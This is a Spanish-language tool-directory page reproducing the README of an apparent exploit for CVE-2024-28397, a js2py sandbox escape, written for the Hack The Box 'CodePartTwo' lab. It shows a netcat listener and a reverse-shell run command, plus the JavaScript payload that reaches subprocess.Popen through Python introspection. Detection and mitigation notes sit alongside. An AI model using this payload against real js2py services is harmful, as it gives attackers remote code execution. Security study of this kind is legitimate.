Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-28397 — Este repositorio contiene un código de exploit en Python para CVE-2024-28397 destinado a usarse en la máquina "CodePartTwo" de Hack The Box (HTB). | Kitploit
Herramientas/GitHubGitHub/naclapor/cve-2024-28397
Análisis de VulnerabilidadesExplotaciónCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

Este repositorio contiene un código de exploit en Python para CVE-2024-28397 destinado a usarse en la máquina "CodePartTwo" de Hack The Box (HTB).

Ver Repositorio
1212hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-28397 js2py Sandbox Escape Exploit - (CodePartTwo - HTB)

Un código de exploit en Python para CVE-2024-28397, una vulnerabilidad crítica en js2py <= 0.74 que permite el escape del sandbox y la ejecución remota de código.

🚨 Detalles de la Vulnerabilidad

  • ID de CVE: CVE-2024-28397
  • Software Afectado: js2py <= 0.74
  • Gravedad: Crítica (CVSS 9.8)
  • Tipo: Escape de Sandbox / Ejecución Remota de Código
  • Fecha de Descubrimiento: Febrero de 2024

Descripción

js2py es una popular biblioteca de Python para evaluar código JavaScript dentro de entornos Python. Esta vulnerabilidad permite a los atacantes escapar del entorno sandbox de js2py y ejecutar comandos arbitrarios de Python/sistema, incluso cuando js2py.disable_pyimport() está habilitado.

El exploit aprovecha las capacidades de introspección de objetos de Python a través de JavaScript para acceder a la clase subprocess.Popen y ejecutar comandos del sistema.

🎯 Aplicaciones Afectadas

  • Aplicaciones web que usan js2py para la evaluación de JavaScript
  • Plataformas de ejecución de código (como editores de código en línea)
  • Web scrapers que analizan JavaScript
  • Cualquier aplicación que procese JavaScript no confiable mediante js2py

🚀 Uso

Requisitos Previos

root@kitploit:~
pip install requests

Uso Básico

root@kitploit:~
# Iniciar listener de netcat
nc -lnvp 4444

# Ejecutar el exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

Opciones de Línea de Comandos

root@kitploit:~
--target    URL del endpoint objetivo (requerido)
--lhost     IP local para la reverse shell (requerido)
--lport     Puerto local para la reverse shell (por defecto: 4444)

Ejemplo

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 Cómo Funciona

  1. Generación del Payload: Crea un comando de reverse shell codificado en base64
  2. Escape del Sandbox: Usa JavaScript para acceder a la jerarquía de objetos de Python mediante __class__ y __base__
  3. Ejecución del Proceso: Localiza subprocess.Popen a través de la introspección
  4. Ejecución del Comando: Ejecuta el comando de reverse shell usando Popen
  5. Establecimiento de la Shell: Se conecta de vuelta a la máquina del atacante

Detalles Técnicos

El exploit funciona mediante:

  • Acceder a Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
  • Recorrer la jerarquía de objetos de Python usando __subclasses__()
  • Encontrar la clase subprocess.Popen
  • Crear un nuevo proceso para ejecutar la reverse shell

📝 Estructura del Código del Exploit

root@kitploit:~
// Acceder a la jerarquía de objetos de Python
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// Encontrar la clase subprocess.Popen
function findpopen(o) {
    // Búsqueda recursiva a través de subclases
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// Ejecutar comando
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ Detección

Busque código JavaScript que contenga:

  • Acceso a atributos __class__ o ___class___
  • Llamadas al método __subclasses__()
  • Referencias a subprocess o Popen
  • Payloads codificados en base64 con printf y base64 -d

🔒 Mitigación

  1. Actualizar js2py: Actualice a una versión parcheada (> 0.74)
  2. Validación de Entrada: Sanitice el código JavaScript antes de la ejecución
  3. Sandboxing: Use contenedores adicionales (Docker, chroot)
  4. Revisión de Código: Audite los contextos de ejecución de JavaScript
  5. Reglas WAF: Bloquee patrones sospechosos de JavaScript

⚠️ Aviso Legal

Esta herramienta es solo para pruebas de penetración autorizadas y fines educativos. Los usuarios son responsables de cumplir con las leyes y regulaciones aplicables. El acceso no autorizado a sistemas informáticos es ilegal.

📚 Referencias

  • Informe Original del CVE
  • Repositorio de GitHub de js2py
  • Detalles de CVE-2024-28397

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.

Descargar herramienta